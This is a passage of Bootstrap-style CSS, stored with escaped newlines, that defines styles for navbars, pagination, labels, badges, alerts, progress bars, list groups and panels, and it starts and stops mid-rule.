#e7e7e7;\n}\n.navbar-default .navbar-brand {\n  color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n.navbar-default .navbar-text {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333;\n  background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #ccc;\n  background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n  border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #ccc;\n    background-color: transparent;\n  }\n}\n.navbar-default .navbar-link {\n  color: #777;\n}\n.navbar-default .navbar-link:hover {\n  color: #333;\n}\n.navbar-inverse {\n  background-color: #222;\n  border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n  color: #999;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n  color: #999;\n}\n.navbar-inverse .navbar-nav > li > a {\n  color: #999;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n  border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #999;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #fff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444;\n    background-color: transparent;\n  }\n}\n.navbar-inverse .navbar-link {\n  color: #999;\n}\n.navbar-inverse .navbar-link:hover {\n  color: #fff;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n}\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #ccc;\n  content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n  color: #999;\n}\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n.pagination > li {\n  display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.42857143;\n  color: #428bca;\n  text-decoration: none;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  color: #2a6496;\n  background-color: #eee;\n  border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 2;\n  color: #fff;\n  cursor: default;\n  background-color: #428bca;\n  border-color: #428bca;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #999;\n  cursor: not-allowed;\n  background-color: #fff;\n  border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-top-left-radius: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-top-left-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #999;\n  cursor: not-allowed;\n  background-color: #fff;\n}\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\n.label[href]:hover,\n.label[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label:empty {\n  display: none;\n}\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n.label-default {\n  background-color: #999;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #808080;\n}\n.label-primary {\n  background-color: #428bca;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #3071a9;\n}\n.label-success {\n  background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n.label-info {\n  background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n.label-warning {\n  background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n.label-danger {\n  background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #999;\n  border-radius: 10px;\n}\n.badge:empty {\n  display: none;\n}\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-xs .badge {\n  top: 0;\n  padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\na.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #428bca;\n  background-color: #fff;\n}\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n.jumbotron {\n  padding: 30px;\n  margin-bottom: 30px;\n  color: inherit;\n  background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n  color: inherit;\n}\n.jumbotron p {\n  margin-bottom: 15px;\n  font-size: 21px;\n  font-weight: 200;\n}\n.container .jumbotron {\n  border-radius: 6px;\n}\n.jumbotron .container {\n  max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding-top: 48px;\n    padding-bottom: 48px;\n  }\n  .container .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n  margin-right: auto;\n  margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #428bca;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #333;\n}\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n.alert .alert-link {\n  font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n.alert > p + p {\n  margin-top: 5px;\n}\n.alert-dismissable {\n  padding-right: 35px;\n}\n.alert-dismissable .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n  color: #2b542c;\n}\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n  color: #245269;\n}\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n  color: #66512c;\n}\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n  color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #fff;\n  text-align: center;\n  background-color: #428bca;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n  -webkit-transition: width .6s ease;\n          transition: width .6s ease;\n}\n.progress-striped .progress-bar {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-size: 40px 40px;\n}\n.progress.active .progress-bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n.media,\n.media .media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media-object {\n  display: block;\n}\n.media-heading {\n  margin: 0 0 5px;\n}\n.media > .pull-left {\n  margin-right: 10px;\n}\n.media > .pull-right {\n  margin-left: 10px;\n}\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.list-group-item > .badge {\n  float: right;\n}\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\na.list-group-item {\n  color: #555;\n}\na.list-group-item .list-group-item-heading {\n  color: #333;\n}\na.list-group-item:hover,\na.list-group-item:focus {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\na.list-group-item.active,\na.list-group-item.active:hover,\na.list-group-item.active:focus {\n  z-index: 2;\n  color: #fff;\n  background-color: #428bca;\n  border-color: #428bca;\n}\na.list-group-item.active .list-group-item-heading,\na.list-group-item.active:hover .list-group-item-heading,\na.list-group-item.active:focus .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item.active .list-group-item-text,\na.list-group-item.active:hover .list-group-item-text,\na.list-group-item.active:focus .list-group-item-text {\n  color: #e1edf7;\n}\n.list-group-item-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n}\na.list-group-item-success {\n  color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-success:hover,\na.list-group-item-success:focus {\n  color: #3c763d;\n  background-color: #d0e9c6;\n}\na.list-group-item-success.active,\na.list-group-item-success.active:hover,\na.list-group-item-success.active:focus {\n  color: #fff;\n  background-color: #3c763d;\n  border-color: #3c763d;\n}\n.list-group-item-info {\n  color: #31708f;\n  background-color: #d9edf7;\n}\na.list-group-item-info {\n  color: #31708f;\n}\na.list-group-item-info .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-info:hover,\na.list-group-item-info:focus {\n  color: #31708f;\n  background-color: #c4e3f3;\n}\na.list-group-item-info.active,\na.list-group-item-info.active:hover,\na.list-group-item-info.active:focus {\n  color: #fff;\n  background-color: #31708f;\n  border-color: #31708f;\n}\n.list-group-item-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n}\na.list-group-item-warning {\n  color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-warning:hover,\na.list-group-item-warning:focus {\n  color: #8a6d3b;\n  background-color: #faf2cc;\n}\na.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus {\n  color: #fff;\n  background-color: #8a6d3b;\n  border-color: #8a6d3b;\n}\n.list-group-item-danger {\n  color: #a94442;\n  background-color: #f2dede;\n}\na.list-group-item-danger {\n  color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-danger:hover,\na.list-group-item-danger:focus {\n  color: #a94442;\n  background-color: #ebcccc;\n}\na.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus {\n  color: #fff;\n  background-color: #a94442;\n  border-color: #a94442;\n}\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n.panel {\n  margin-bottom: 20px;\n  background-color: #fff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n  padding: 15px;\n}\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n.panel-title > a {\n  color: inherit;\n}\n.panel-footer {\n  padding: 10px 15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .list-group {\n  margin-bottom: 0;\n}\n.panel > .list-group .list-group-item {\n  border-width: 1px 0;\n  border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child {\n  border-top: 0;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child {\n  border-bottom: 0;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table {\n  margin-bottom: 0;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n  border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n  border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n  border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive {\n  border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n  border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n  border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n  border-bottom: 0;\n}\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n.panel-group {\n  margin-bottom: 20px;\n}\n.panel-group .panel {\n  margin-bottom: 0;\n  overflow: hidden;\n  border-radius: 4px;\n}\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse .panel-body {\n  border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n  border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #ddd;\n}\n.panel-default {\n  border-color: #ddd;\n}\n.panel-default > .panel-heading {\n  color: #333;\n  background-color: #f5f5f5;\n  border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #ddd;\n}\n.panel-default > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #ddd;\n}\n.panel-primary {\n  border-color: #428bca;\n}\n.panel-primary > .panel-heading {\n  color: #fff;\n  background-color: #428bca;\n  border-color: #428bca;\n}\n.panel-primary > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #428bca;\n}\n.panel-primary > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #428bca;\n}\n.panel-success {\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #d6e9c6;\n}\n.panel-success > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n.panel-info {\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #bce8f1;\n}\n.panel-info > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #bce8f1;\n}\n.panel-warning {\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #faebcc;\n}\n.panel-warning > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #faebcc;\n}\n.panel-danger {\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #ebccd1;\n}\n.panel-danger > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: 